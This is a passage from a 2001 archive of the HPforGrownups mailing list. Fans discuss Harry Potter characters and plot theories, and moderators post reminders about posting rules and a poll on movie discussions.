> matters.  
> Hmmm... makes one think.


Thank you, Kevin!  It's right there in Ch36 (American version) - and 
since I'm that kinda person, here it is:


....The moment he had disappeared, Dumbledore turned to look at the 
group around Harry's bed.

"There is work to be done," he said.  "Molly...am I right in thinking 
that I can count on you and Arthur?"

"Of course you can," said Mrs. Weasley.  She was white to the lips, 
but she looked resolute.  "We know what Fudge is.  It's Arthur's 
fondness for Muggles that has held him back at the Ministry all these 
years.  Fudge thinks he lacks proper wizarding pride."

"Then I need to send a message to Arthur," said Dumbledore....


Now, some may say that Dumbledore is asking Molly for her help just 
because she happens to be the only parental Weasley in attendance.  
But I think that just about everything goes through Molly in that 
family.  Another strong example is the flying Ford in CoS.  Arthur is 
terrified when Molly confronts him, and tries to switch the topic to 
Harry.  We never find out how that issue resolves between Arthur and 
Molly ("Let's leave them to it," Ron muttered to Harry as Mrs. 
Weasley swelled like a bullfrog.), but I think Molly definitely wears 
the pants.

Could it be that Molly decided that the best place to use her powers 
would be at home?  Molly was raising seven kids - three of which were 
growing up during Voldemort's heyday - she probably decided that her 
talents were best used protecting her own.  And during Voldy's 
heyday, it probably took ALL her effort to provide a safe home for 
her family.  It would be interesting to know what she did before she 
and Arthur married.






From snyderm at engr.sc.edu  Tue Sep  4 19:38:32 2001
From: snyderm at engr.sc.edu (Snyder, Meri)
Date: Tue, 4 Sep 2001 15:38:32 -0400 
Subject: [HPforGrownups] Re: Observations and Questions
Message-ID: <D8AB9C5548AED211928B0090273CDDD705789AA5@mailbox.engr.sc.edu>

No: HPFGUIDX 25561

Actually, Ernie and Stan only knew that Sirius killed all those people and
Peter.  They did not know that Sirius was James best friend and under the
misconception that He betrayed James.  As an explanation of it being widely
known.  All the people at the table with the exception of Fudge and
Rosemerta personally knew James and Sirius.  Rosemerta did not know them
personally, but did know that they were friends.  She did not know that
Sirius betrayed James.  Fudge probably got the informaiton because of his
govermental position.

Leslie

-----Original Message-----
From: cynthiaanncoe at home.com [mailto:cynthiaanncoe at home.com]
Sent: Tuesday, September 04, 2001 12:26 PM
To: HPforGrownups at yahoogroups.com
Subject: [HPforGrownups] Re: Observations and Questions


--- In HPforGrownups at y..., caliburncy at y... wrote:
> > 
> And Madame Rosmerta is the only one to whom this knowledge appears 
to 
> be brand new.
> 

Good point, and I stand corrected.  The better explanation is the one 
you and others give.  

It is amusing, though, that Fudge says the worst Black did isn't 
widely known, yet Rosemerta seems to be the only one in the dark.  
Even Stan and Ernie on the Knight Bus knew.  

Also, it's hard to believe Hagrid didn't spill the beans to Rosemerta 
over the years.  It also struck me as odd that the Minister of Magic 
chooses to reveal something that isn't widely known in a crowded bar 
for the sole purpose of enlightening a barkeep.  But then again, I 
couldn't think of anyone else JKR could have used instead of 
Rosemerta for this purpose, so I guess that's the best one can do 
with it.  

Cindy



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From snyderm at engr.sc.edu  Tue Sep  4 19:42:39 2001
From: snyderm at engr.sc.edu (Snyder, Meri)
Date: Tue, 4 Sep 2001 15:42:39 -0400 
Subject: [HPforGrownups] Re: Harry and Ginny
Message-ID: <D8AB9C5548AED211928B0090273CDDD705789AA6@mailbox.engr.sc.edu>

No: HPFGUIDX 25562

OoH!  What a tought!  Neville goes away for the summer coming back a few
inches taller, several pounds light and cuter than before.  A lot can happen
to a person at this age especially when puberty hits.  This could also give
Neville more confidence which helps to improve his grasp of magic and his
general demeanor.  All this leading to giving Harry a run for his money when
Ginny's eyes turn from Harry, the boy who looks on her like a sister, to
this new Neville creation just in time for Harry to start forgetting about
Cho and realize feelings for Ginny.  Just call me an ol' time romantic.

Leslie

-----Original Message-----
From: magpie1112 at yahoo.com [mailto:magpie1112 at yahoo.com]
Sent: Tuesday, September 04, 2001 12:28 PM
To: HPforGrownups at yahoogroups.com
Subject: [HPforGrownups] Re: Harry and Ginny


--- In HPforGrownups at y..., KayandJay1 at M... wrote:
> What do you think about Harry and Ginny?  I think 
> that they will sometime find out that the like each other
> Josie Lillia Potter

Hi Josie!

Hoo Boy - my favorite topic!  Gotta love that H/G ship!  And, I'm a 
big fan of the "One Big Happy Weasley Family" idea as well 
(Ron/Hermione and Harry/Ginny).  But as with other posts on this 
topic, I think that Harry will take a while before he realizes (or 
acts on) any feelings for Ginny.  

It will be interesting to see how it plays out - we've already seen 
the "You're a girl"/"Well spotted" Yule Ball transformation scene 
with Hermione, so I doubt that JKR will have a similar "Ooh, look - 
Ginny's a girl!  And she's pretty, too!"  type of scene with H/G.  
Been done.  

My thoughts are that Harry will grow to love Ginny, and may even have 
to fight for her in later books if Ginny gives up on Harry and tries 
to find somebody "attainable".  Neville, perhaps?  Draco seems 
farfecthed, due to his deep-seated hatred of the "Muggle-loving" 
Wesleys.



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From heidi.h.tandy.c92 at alumni.upenn.edu  Tue Sep  4 19:57:46 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Tue, 4 Sep 2001 15:57:46 -0400 
Subject: [HPforGrownups] Re: The Third Task Audience
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2B6A@MIAEXCH1>

No: HPFGUIDX 25563

AEB - very sensible arguments about how the audience could've been
"involved" as spectators. I know for my own fanfic, I created a series of
projection spots (based, actually, on the way Earth life is televised in
Robert Rankin's Armageddon: The Musical) where the audience could see images
above the maze of what was going on in particular spots.

And to cover the issue of what the audience saw during the acceptance of the
cup, I don't think there was any "reporting" from the innermost two circles,
to allow a bit of suspense as the Champions neared the cup, so it would be a
bit of a surprise as to exactly who touched it first. 

> -----Original Message-----
> From: foxmoth at qnet.com [mailto:foxmoth at qnet.com]
> Sent: Tuesday, September 04, 2001 3:27 PM
> To: HPforGrownups at yahoogroups.com
> Subject: [HPforGrownups] Re: The Third Task Audience
> 
> 
> Real-To:  foxmoth at qnet.com
> 
> --- In HPforGrownups at y..., A.E.B.Bevan at o... wrote:
> > Just occured to me why Ive never had any problem with what the 
> > Audience was seeing during the Third Task in GoF... 
> > 
> > Comes from having Orienteering as my sport years ago.  That takes 
> > part in forests and so on and basically the competitors are not 
> > visible to the audience. Competitors have to navigate from control 
> > point to control point in the course, chosing their own routes.
> > 
> > In major championships though there are 'reporting points' at 
> > selected locations so the progress of competitors is 
> flagged. It can 
> > get quite exciting. What I subconsciously assumed in the 
> Third Task I 
> > realise is that as each champion encountered one of the obstackes a 
> > commentary flashes up in a form the Champions can't detect. ( " 
> > Potter runs into the boggart and its a dementor - away goes a 
> > Patronus from Potter!  And he keeps his head and uses 
> Riddiculus!" )  
> > 
> > This rather magnifes the problem of what happens between Harry and 
> > Cedric grabbing the trophy and Harry getting Cedric's body back as 
> > the audience would have known the contest had ended ...
> 	Great post! We've speculated about reporting, but nobody's ever 
> made me see how it could work before. As for what happened at the end 
> of the contest, we only need to imagine that when *Moody* altered the 
> cup, he altered the reporting spell as well. I also imagine that 
> Dumbledore, Mme Maxime and Karkaroff left the judges' box to tend to 
> the injured Fleur and Krumm. Maybe Moody had an opportunity 
> to put the 
> confundus curse on Bagman and Fudge so that they never 
> noticed the Cup 
> was gone.
> 
> Pippin
> 
> 
> 
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> 
> Attention everyone! Before posting, you must read our 
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From entilzha at crosswinds.net  Tue Sep  4 20:13:40 2001
From: entilzha at crosswinds.net (Daniel Siegmann)
Date: Tue, 4 Sep 2001 16:13:40 -0400
Subject: [HPforGrownups] Re: HP/children's literature
In-Reply-To: <9n30ee+552d@eGroups.com>
Message-ID: <ILEFKEDOPGKIBOMPJIMFEECCCCAA.entilzha@crosswinds.net>

No: HPFGUIDX 25564



> -----Original Message-----
> From: usergoogol at yahoo.com [mailto:usergoogol at yahoo.com]
> Sent: Tuesday, September 04, 2001 12:45 PM
> To: HPforGrownups at yahoogroups.com
> Subject: [HPforGrownups] Re: HP/children's literature
>
>
> What'd I like?
>
> History of Magic
> Hogwarts, a History
> Magical Plants and Fungi
> A simple guide to muggles
>
> That last one I think would be quite amusing.

I'd really like to see a book with spells. Any (or all) of the Standard Book
of Spells would be great. All the ones above are good, but Hogwarts, a
History is the one I'd most like.

~~~~~~~~~~~~~~~~~~~~~
Draxon Varradami
gandalf at optonline.net




From pennylin at swbell.net  Tue Sep  4 18:37:11 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Tue, 04 Sep 2001 13:37:11 -0500
Subject: ADMIN: Refresher on Rules of this Group (Ignore at your own risk)
Message-ID: <3B951F57.6060000@swbell.net>

No: HPFGUIDX 25565

Hi everyone --

It appears that it is time for a small refresher on some of the rules of 
the group.  We've got *huge* message volume at this time, so be warned 
that you may expect a Howler from one of the Moderators if you continue 
to ignore the posting rules that we've put in place.  Here are some 
short bullet-point reminders but please do take a moment to read our 
Netiquette File and the group VFAQs (links below my signature).

** 
DO label your subject heading *CLEARLY*!  Examples:

	Wands -- Riddle as a Villain -- Hagrid & the Giants  OR
	SHIP: Possibility of Harry ending up with Ginny

** 
DO NOT label a subject-heading "Re: Digest #1165" or "Lots of things 
from Digest #553," or "Questions from a Newbie"
	We cannot expect the people maintaining the FAQs to find what you have to 
say about a subject if you've given them no clues in your subject headings

** 
DO change the subject heading if the original subject was "The Gleam in 
Dumbledore's Eye" but has changed to "Dumbledore & Socks"

** 
DO NOT discuss possible romantic relationships between the characters 
unless you (a) put the word SHIP in your subject heading so that those 
who are inclined to skip it can do so, and (b) use examples from the 
books to support your position.
	If you cannot use examples from the books in your post on this subject, 
it belongs on the OT-Chatter list!!!

** 
Use the following designations in your subject heading if appropriate:
		SHIP: Having to do with relationships (see above)
		MOVIE: Anything to do with the movie

** 
DO use context -- please either quote some of the message you are 
replying to (but be judicious) or summarize it enough so that people can 
follow what you're replying/referring to.

** 
DO snip irrelevant portions of someone else's message!!!  *Please* do 
*NOT* just add in a 1-2 line reply at the end of a long quoted message 
unless it is absolutely necessary to quote the other person's message in 
its entirety

** 
DO NOT post tons of messages each day; *COMBINE* your shorter replies 
into a single message.  This helps keep our volume down!!
	Example: take a look at posts from long-time members Catlady (Rita), Amy 
Z, Tabouli, Simon & others to see this done effectively

** 
DO NOT attempt to squelch discussion topics that you are not enjoying. 
If you'd rather die than read another post about Snape, then just skip 
all the posts that have Snape in the subject line.

** 
DO read the substantive topical essays that explore what the group has 
discussed to date --

http://www.i2k.com/~svderark/lexicon/faq/


As I said in the intro paragraph, please take the time to read the full 
set of rules & suggestions in our Netiquette File.

Penny
The Magical Moderator Team

HPforGrownups Netiquette Guidelines:

http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/netiquetteTIPS.htm

For Very Frequently Asked Questions, see --

http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/VFAQ.htm

For all our ADMIN files, go to:

http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/






From jkusalavagemd at yahoo.com  Tue Sep  4 20:29:46 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Tue, 04 Sep 2001 20:29:46 -0000
Subject: Arthur weasley's Secret (was Re: The Case Against Ludo Bagman)
In-Reply-To: <9n32t8+et5q@eGroups.com>
Message-ID: <9n3djq+10gel@eGroups.com>

No: HPFGUIDX 25566

--- In HPforGrownups at y..., magpie1112 at y... wrote:
> --- In HPforGrownups at y..., "Ali Wildgoose" <diagonalley_ at h...> 
wrote:
> > Cindy wrote:
> > >Anyone else have an opinion?


> Thanks for the thread, Cindy!  I figured Ludo was just a bit of 
comic 
> entertainment, but you have me all but convinced that something may 
> be lurking beneath....
> 
> Denise (who is wondering if Mr. Weasley is the only MoM employee 
that 
> doesn't have a secret)

Ah, but he does have a secret, which was foreshadowed in GoF.  Arthur 
Weasley is in reality an Unspeakable from the Department of
Mysteries!  His cover is as a low level bureaucrat in the Ministry of 
magic.   How else would he recognize fellow Unspeakables, who should 
be very very secret agents?

Haggridd




From kira at kc.rr.com  Tue Sep  4 21:01:13 2001
From: kira at kc.rr.com (Lisa-Ann Cooner)
Date: Tue, 4 Sep 2001 16:01:13 -0500
Subject: [HPforGrownups] Arthur Weasley's Secret
References: <9n3djq+10gel@eGroups.com>
Message-ID: <032001c13584$bf21c0a0$a473f2d1@lisaannc>

No: HPFGUIDX 25567

Ah, but maybe, the MOM employees know who works in which departments, just not what the DoM does.  Because even though they may not see who goes into the office as employees can Apparate in and out, correspondence would have someone's name on it surely.

----- Original Message ----- 
From: Haggridd 
To: HPforGrownups at yahoogroups.com 
Sent: Tuesday, September 04, 2001 3:29 PM
Subject: [HPforGrownups] Arthur weasley's Secret (was Re: The Case Against Ludo Bagman)

Ah, but he does have a secret, which was foreshadowed in GoF.  Arthur 
Weasley is in reality an Unspeakable from the Department of
Mysteries!  His cover is as a low level bureaucrat in the Ministry of 
magic.   How else would he recognize fellow Unspeakables, who should 
be very very secret agents?
Haggridd


[Non-text portions of this message have been removed]




From pennylin at swbell.net  Tue Sep  4 19:33:01 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Tue, 04 Sep 2001 14:33:01 -0500
Subject: Children's Lit -- Hermione & the Imperius Curse -- Draco's
 Redeemability --  Trelawney's Christmas Prediction
Message-ID: <3B952C6D.6040303@swbell.net>

No: HPFGUIDX 25568

Hi everyone --

Sorry, I'm just now catching up from some posts over the long holiday 
weekend.

CHILDRENS' LITERATURE -- <waves at bbennett> -- I agree with her theory 
that if a book cannot be fully comprehended by the average young reader, 
it cannot be *strictly* classified as literature for that age group. 
Therefore, I don't think that the HP books can be classified as 
*strictly* childrens' lit.  I also want to add in that I don't have 
patronizing attitudes about childrens' lit in general.  I read a fair 
bit of it, but because I read a fair bit of it, I believe that I can 
more or less spot it when I see it.  Some of my favorite childrens' 
literature ranks up there among my all-time favorite literature, period. 
But, the works of Laura Ingalls Wilder are unquestionably childrens' lit.

I wonder if another distinction might be made: if it's a book that you 
read first as a child and return to re-read it out of nostalgia, it 
might be classed as childrens' lit.  If, OTOH, it's a book that you read 
as a child but now can re-read with an entirely different understanding, 
maybe it's not childrens' lit at all.

HERMIONE & THE IMPERIUS CURSE -- Interesting question!  I wish I'd 
gotten in on this one a bit earlier as everyone has mostly said what I 
would say.  I agree with those who say Hermione has the strength of 
character & will to probably stand a good chance of resisting the 
Imperius Curse or at least putting up a good fight.  She probably is 
somewhere between Harry throwing it off entirely early-on and Ron who 
can't resist it at all.  BTW, Catherine, yes I very much agree that JKR 
is hinting or foreshadowing some problems with Ron's inability to resist 
Imperius.

Thanks to Barb for outlining some good reasons why Hermione is not 
blinded by authority & unfailingly obedient such that she might be 
susceptible to Imperius.

DRACO'S REDEMPTION? -- I've really enjoyed these discussions alot!  I 
confess to not understanding how anyone can argue that someone is not 
susceptible to redemption.  How can that be?  *Especially* a 14 year old 
boy.  No room for redemption?  Huh?  The word redeem means to rescue, 
save or deliver.  So, in order to require redemption one needs to be in 
a position that requires saving or deliverance in some way.  Someone 
argued that JKR would have to reverse everything Malfoy has done or said 
in the first 4 books in order to redeem him.  Forgive me if I've 
misunderstood this argument, but Malfoy wouldn't need redemption if he 
*hadn't* done or said the things he did & said in Books 1-4.  She 
doesn't need to change Malfoy's past actions in order to redeem him. 
She does need to lay a foundation to make his redemption plausible, but 
she needn't have set that foundation in place from the very beginning. 
It can, and perhaps *should*, wait until later.  I'm not sure I'm making 
my position very clear here, but it just doesn't make sense to me to say 
that Draco is irredeemable.

Catherine wrote:

> This makes me think that JKR is playing a game with us - she is
> letting Professor Trelawney get just enough right for us to worry
> about whether it was Ron or Harry who got up first from the Christmas
> dinner table.  If this is true, and everyone has money on Dumbledore
> dying before the end of the series, he cannot be the first to die, as
> Harry and Ron left the table before him.  In that case, my money has
> to be on Ron.  Make sense?

Yes, exactly!  My money is also on Ron.  I never thought about the 
Dumbledore twist though ... but yes, he really can't die first if this 
prediction is true.  It's food for thought, even if you do believe that 
Trelawney is mostly a fraud.  :--)

Penny





From meboriqua at aol.com  Tue Sep  4 21:17:15 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Tue, 04 Sep 2001 21:17:15 -0000
Subject: Rules of Divination and Why Trelawney is a Fraud
In-Reply-To: <9n347a+fv01@eGroups.com>
Message-ID: <9n3gcr+gqir@eGroups.com>

No: HPFGUIDX 25569

--- In HPforGrownups at y..., caliburncy at y... wrote:
 
> The pre-trained wizard children seem to make things happen without 
any  "medium" (unless you count emotions) and it's largely unfocused 
and  partly subconcious.  The trained wizards always seem to have some 
kind  of medium to focus their magic, though, like wands or 
incantations.
 
> Any more thoughts, anybody?>

First of all, Luke, I want to tell you that I think your postings are 
always great.  Keep writing your essays for us - I love them!  

Now, your comments about pre-trained wizards and talent is exactly why 
I think Trelawney is a FRAUD.  I believe that her "predictions" are 
vague, broad and could easily have been based on knowledge she had 
about various students (Neville's clumsiness, Harry's experiences with 
the Big V and so on).  We all make occasional on the mark predictions.  
In fact, this thread gives me deja vue; I feel I've said this all 
before...

However, when Trelawney really did See, she had no control over it and 
even denied it to Harry.  How can she claim to be such a fantastic 
Seer when she doesn't even know when she is Seeing?  Sorry, but 
Trelawney is more interested with the mystique of and admiration she 
gets for her position of Divination professor at Hogwarts.  Even her 
misty, far away sounding voice rapidly changes when she is pissed off 
or when it suits her to do so.  Fooey for her.

BTW, Tabouli - I was madly in love with Menudo when I was 13, so you 
just hold your head up high and remember your A-ha crush with pride!

--jenny from ravenclaw, who loved meeting more NY HPFGUers on Monday 
**************************************************




From pennylin at swbell.net  Tue Sep  4 18:52:37 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Tue, 04 Sep 2001 13:52:37 -0500
Subject: ADMIN: Movie Discussions Poll
Message-ID: <3B9522F5.2090202@swbell.net>

No: HPFGUIDX 25570

Hi all --

If you're not aware already, we have an ongoing poll regarding what to 
do with discussions of the movie on this list.  The choices are: allow 
MOVIE discussions to stay here on the main list, create a temporary 
MOVIE list for some period of time around the release of the movie, 
create a permanent MOVIE list, or move all MOVIE discussions to our 
OT-Chatter list.

Currently, the results are about evenly divided between those who want 
the MOVIE discussions to remain here on the main group and those who 
want to see the MOVIE discussions moved *somewhere else*.

Only 250 members have voted in the poll and we supposedly have 2000 
members, so please go and VOTE if you haven't done so already.  We 
expect to keep this poll open a few more weeks but will be reaching a 
decision by the end of the month.  Here's the link for voting:

http://groups.yahoo.com/group/HPforGrownups/surveys?id=729738

We plan on posting a synopsis of arguments "pro & con" for moving MOVIE 
discussions to another list or keeping them here on this list.  This 
will get posted soon -- we hope.  In the meantime, vote because you can 
always change your vote up until the time the poll is closed.

Thanks --

Penny
The Magical Moderator Team




From lilith_snape at hotmail.com  Tue Sep  4 21:34:10 2001
From: lilith_snape at hotmail.com (*Lilith Morgana*)
Date: Tue, 04 Sep 2001 21:34:10 -0000
Subject: Severus-Lucius speculations (Was: Observations and Questions)
In-Reply-To: <000701c134ef$19c036e0$fe24bb18@OEMCOMPUTER>
Message-ID: <9n3hci+qvp7@eGroups.com>

No: HPFGUIDX 25571

> 
> CoS (General)
> The only note I made about this book is "Why is Snape so friendly 
with Draco
> Malfoy, and vice versa?"
> Lucius must hate Snape for betraying Voldemort, and he's on that 
board that
> controls the school, so there's a very good chance that he knows 
Snape
> teaches there. Perhaps Lucius hasn't told his son about Snape.
> But that still doesn't explain why Snape likes Draco and is so 
lenient with
> him.

If Snape is a spy, which I don't think, Lucius wouldn't know about 
his change of sides and is therefore free to let his son adore him. 
Why Snape is sucking up to them I do not understand. If he's 
recognised as a spy, Draco would know and stop idolise him. If he's 
still undercover, it's another story.
Maybe Snape is afraid of Lucius? But that doesn't explain why Draco 
obviously is honest in his liking of Snape. I'm almost certain that 
there is *something* to the relationship Severus/Lucius that we don't 
know yet. Related? Friends?

> 
> GoF Ch.36
> "Snape made a sudden movement" after Harry starts enumerating the 
Death
> Eaters he saw, starting with Lucius Malfoy. What could this 
possibly mean?

This is bothering me. It surely means something, as well as the glint 
in Dumbledore's eyes and the Kiss with Florence. You just don't 
include things like those without a purpose and I would very much 
like to know Rowling's purpose for letting us know that Snape became 
a little shaken by the mentioning of Lucius Malfoy's name. 

What if Lucius has been able to fool Snape all the time since Harry 
defeated Voldie? This could be a trick from Voldemort to nail Snape's 
missions if Lucius still manage to be friends (or whatever) with him. 
Lucius could have told Snape that he agrees, that he also changed his 
mind and is now a good boy. On the other hand, I wouldn't expect 
Snape to be stupid enough to trust him...But if he is, and if Lucius 
have convinced Snape that they're both on the same side, I reckon 
Snape would be rather "moved" by the information that his alley was 
present at the reunion. 

Lilith Morgana
----
Ravenclaw
Phoenix Feather, 8 inches
Keeper of Severus Snape's soul
Redemptress of Millicent Bulstrode




From KayandJay1 at MSN.com  Tue Sep  4 21:48:27 2001
From: KayandJay1 at MSN.com (KayandJay1 at MSN.com)
Date: Tue, 04 Sep 2001 21:48:27 -0000
Subject: A qoute I do not understand
Message-ID: <9n3i7b+cash@eGroups.com>

No: HPFGUIDX 25572

"Where is Wood?" said Harry, suddenly realizing he wasn't there.
"Still in the showers," said Fred. "We think he's trying to drown 
himself." - from POA

why would Wood want to drowned himeself? 

Josie Lillia Potter




From scaryfairymary at hotmail.com  Tue Sep  4 21:55:07 2001
From: scaryfairymary at hotmail.com (scaryfairymary at hotmail.com)
Date: Tue, 04 Sep 2001 21:55:07 -0000
Subject: Harry and Ginny
In-Reply-To: <21.108e0808.28c62940@aol.com>
Message-ID: <9n3ijr+p9ll@eGroups.com>

No: HPFGUIDX 25573

--- In HPforGrownups at y..., wings909 at a... wrote:
> > Certainly Ron might find it a bit weird to have Harry's affection 
> > transferred to his sister.  But I think this could be a pretty 
common 
> > reaction from a guy who suddenly experiences an alteration to two 
of 
> > his closest relationships when his sibling and best friend become 
> > romantically attached.
> > 

I think I must be the only one, but I *really* hope Harry and Cho get 
together (for good).  I'm also hoping that she plays a more prominent 
role in the books to come.  For such a minor character (at the 
moment) I really like her, the way she doesn't wear a "Potter Stinks" 
badge when all her friends do, when she is very nice to Harry after 
the awful article that Skeeter wrote about him and when she genuinely 
seems dissapointed to be going to the ball with Cedric instead of 
Harry.  She's really sweet and seems to be very compatible with 
Harry. 
Anywho thats only my opinion (and judging by the poll, the only one 
with it!!!!) 
-Mary ;?p




From cynthiaanncoe at home.com  Tue Sep  4 21:56:50 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 04 Sep 2001 21:56:50 -0000
Subject: Observations and Questions
In-Reply-To: <9n33gd+oocp@eGroups.com>
Message-ID: <9n3in2+if4g@eGroups.com>

No: HPFGUIDX 25574

Luke wrote:> Actually, again (sorry!), I must point out that we don't 
have proof 
> that Stan and Ernie know more than Mme. Rosmerta.
> 
> Looking at the scene they seem to know that Sirius (allegedly) 
killed 
> thirteen people (and allegedy laughed about it), but they don't 
seem 
> to know anything about him (allegedly) betraying the Potters, which 
is 
> the thing Mme. Rosmerta is being informed about in this scene.
> 
> Stan also seems to think Sirius was up to be V.'s second-in-
command, 
> but this is of course just a false rumor so whether Rosmerta knew 
that 
> or not would be of no consequence.
> 

Doh!  Wrong again!  Strike two! Looks like it's about time I put down 
GoF and worked my way back through PoA, as I'm clearly getting a 
little rusty.

Cindy (who absolutely HATES to be wrong)




From linman6868 at aol.com  Tue Sep  4 21:57:31 2001
From: linman6868 at aol.com (L. Inman)
Date: Tue, 04 Sep 2001 21:57:31 -0000
Subject: Ron, Hermione, and the Imperius Curse (some John Wayne grandstanding)
In-Reply-To: <3B952C6D.6040303@swbell.net>
Message-ID: <9n3iob+40pm@eGroups.com>

No: HPFGUIDX 25575

Penny wrote:

> HERMIONE & THE IMPERIUS CURSE -- Interesting question!  I wish I'd 
> gotten in on this one a bit earlier as everyone has mostly said 
what I 
> would say.  I agree with those who say Hermione has the strength of 
> character & will to probably stand a good chance of resisting the 
> Imperius Curse or at least putting up a good fight.  She probably 
is 
> somewhere between Harry throwing it off entirely early-on and Ron 
who 
> can't resist it at all.  BTW, Catherine, yes I very much agree that 
JKR 
> is hinting or foreshadowing some problems with Ron's inability to 
resist 
> Imperius.

*pulls up the belt of her hip holsters*  All right, well it looks 
like I'm gonna hafta start myself a new club with a cute acronym 
name.  I'm gonna call it the C.R.A.B. club:  The Cut Ron A Break 
club.  I'd'a called it the Cut Ron A Bitta Slack club, but C.R.A.B.S. 
has a rather unfortunate connotation, see.  I'm taking subscriptions 
of two Sickles starting today.  :~)

All it says in GoF is that Harry was the only one to resist the 
Imperius Curse.  The rest of them "recovered only when [Mad-Eye 
Moody] lifted" the curse, IIRC, don't have the book at work (need to 
become more dedicated obviously).  Then it goes on to say that Ron 
was limping because he had "a more difficult time" resisting the 
curse than Harry.  That's different from not being able to do it at 
all.  You can interpret Ron's difficulty as a foreshadowing, which I 
don't quibble with, but you can't say that Hermione would be more 
successful than Ron based on this particular scene.  You'd have to 
extrapolate it from elsewhere.  This scene says to me that Ron 
actually *did* put up a fight, since it wound up bruising him; 
whereas no one else besides Harry is mentioned as receiving bruises 
in the fight against an Unforgivable Curse.

More on this another time...got to go.

Lisa I., who BTW really enjoys Luke's candid, thoughtful, and 
insightful posts.









From justanopinion2001 at hotmail.com  Tue Sep  4 22:58:11 2001
From: justanopinion2001 at hotmail.com (justanopinion2001 at hotmail.com)
Date: Tue, 04 Sep 2001 22:58:11 -0000
Subject: ADMIN: Refresher on Rules of this Group (Ignore at your own risk)
In-Reply-To: <3B951F57.6060000@swbell.net>
Message-ID: <9n3ma3+32m7@eGroups.com>

No: HPFGUIDX 25576

--- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:
> > DO NOT post tons of messages each day; *COMBINE* your shorter 
replies 
> into a single message.  This helps keep our volume down!!
> 	

Not to cause trouble or anything, but why is it important to keep 
message volume down?  If someone submits a thoughtful reply instead 
of a one-liner, and uses an appropriate header, why should they have 
to cram a bunch of unrelated topics into one giant post?  Also, if 
someone is responding to post No. 25,000, 25,005 and 25,008, and they 
put all of their thoughts into No. 25,000, then someone who tries to 
read the entire discussion on the other two threads will miss their 
input.  

Wouldn't it be better if people pretty much stuck to the subject of 
the post they are replying to unless the discussion has taken a 
natural detour, in which case they could just update the subject line 
and say whatever they want?

Anyway, I'm new here and I know the list has been going on for a 
while, but I thought I might as well ask the question rather than 
just continue to wonder about it.

Thanks for indulging me.

Laura  (loving every minute of this group)




From justanopinion2001 at hotmail.com  Tue Sep  4 23:06:39 2001
From: justanopinion2001 at hotmail.com (justanopinion2001 at hotmail.com)
Date: Tue, 04 Sep 2001 23:06:39 -0000
Subject: Snape -- Why so many fans?
Message-ID: <9n3mpv+p484@eGroups.com>

No: HPFGUIDX 25577

My biggest surprise as a newbie has been all the adoration for 
Snape.  I've read a LOT of posts about him on this board and 
SNAPEFANS, and I haven't gotten a good feeling about why people would 
be nuts about him the way others are about Lupin or Black.

My recollections of Snape are pretty negative:  he embarrassed Harry 
on the first day of Potions.  He threatened to use truth serum on 
Harry.  He tied up Lupin and tried to give Black to the Dementors.  
He tried to expose Lupin as a werewolf by covering the topic in 
Lupin's class, and when that didn't work, he blabbed it on purpose.  
He ridicules Neville.  He mistreats Hermione.  He has called Harry a 
liar at least once (Goblet of Fire).  

Yes, he saved Harry in PS/SS, and yes, it looks like he's on 
Dumbledore's team.  But what are the Snape Fans seeing that I am 
missing?  Would someone care to explain this?

Laura (who really "gets" grey-haired Lupin and matted-hair Black, but 
is having some trouble with greasy-haired Snape)




From empress_dai_gin_kali at yahoo.com  Tue Sep  4 23:13:14 2001
From: empress_dai_gin_kali at yahoo.com (Bethany)
Date: Tue, 4 Sep 2001 16:13:14 -0700 (PDT)
Subject: [HPforGrownups] A qoute I do not understand
In-Reply-To: <9n3i7b+cash@eGroups.com>
Message-ID: <20010904231314.77455.qmail@web11805.mail.yahoo.com>

No: HPFGUIDX 25578


--- KayandJay1 at MSN.com wrote:
> "Where is Wood?" said Harry, suddenly realizing he
> wasn't there.
> "Still in the showers," said Fred. "We think he's
> trying to drown 
> himself." - from POA
> 
> why would Wood want to drowned himeself? 
> 
> Josie Lillia Potter
> 
> 
Hello! This takes place right after the Dementors come
onto the Quidditch pitch and cause Harry to fall off
his broom. Cedric caught the snitch not realizing what
had happened, as a result, Gryffindor lost. Oliver
Wood is in his seventh and final year at Hogwarts. As
team captain and Keeper, he is desperate to win the
Quidditch cup this year since it's his last chance.
This defeat may be enough to knock them out of the
running. Wood obviously takes this very hard. I
beleive that Fred is trying to lighten the mood with a
bit of black humor; a speciality of the Weasley twins.
I hope this helps. :)
~Bethany

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From aleksrothis at yahoo.co.uk  Tue Sep  4 23:18:27 2001
From: aleksrothis at yahoo.co.uk (Aleks)
Date: Tue, 04 Sep 2001 23:18:27 -0000
Subject: Fudge - evil or just a moron (WAS: Chapter Summary CoS)
In-Reply-To: <4.2.0.58.20010903204358.00abc100@mail.mcn.org>
Message-ID: <9n3ng3+m8hu@eGroups.com>

No: HPFGUIDX 25579

> 
> >Ch. 14
> >9) Fudge - secretly evil or just a moron?
> 
> Worse.  I think he's a politician.  Various comments about his 
career and generous contributions by the Malfoys make him sound like 
your garden variety politician.
> 
> Catherine
> Albion, CA

Before I start out replying to this question (which is something I'm 
actually very interested in) I have to warn everyone that not only 
will this post be very long, but it will also contain a number of 
quotes which are not actually from Harry Potter, but which I feel 
are, nevertheless, relevant. I don't think this will be a problem as 
I have seen other people do similar things, but if I shouldn't then 
apologies in advance.

The quotes in question come from "Star Wars - The New Jedi Order: 
Edge Of Victory II - Rebirth" by Greg Keyes. Those familiar with the 
SW universe will probably understand what is going on, but for those 
non-fans; 'our heroes' (Luke, Han, Leia, and others from the books, 
Wedge, Mara etc) are fighting against an alien species from outside 
the galaxy who hate technology and are determined to destroy it along 
with all who use it. The New Republic's Chief of State, Borsk 
Fey'lya, is a traditionally slimy politician, largely disliked 
by 'our heroes', but as they are coming to realise, he is good deep 
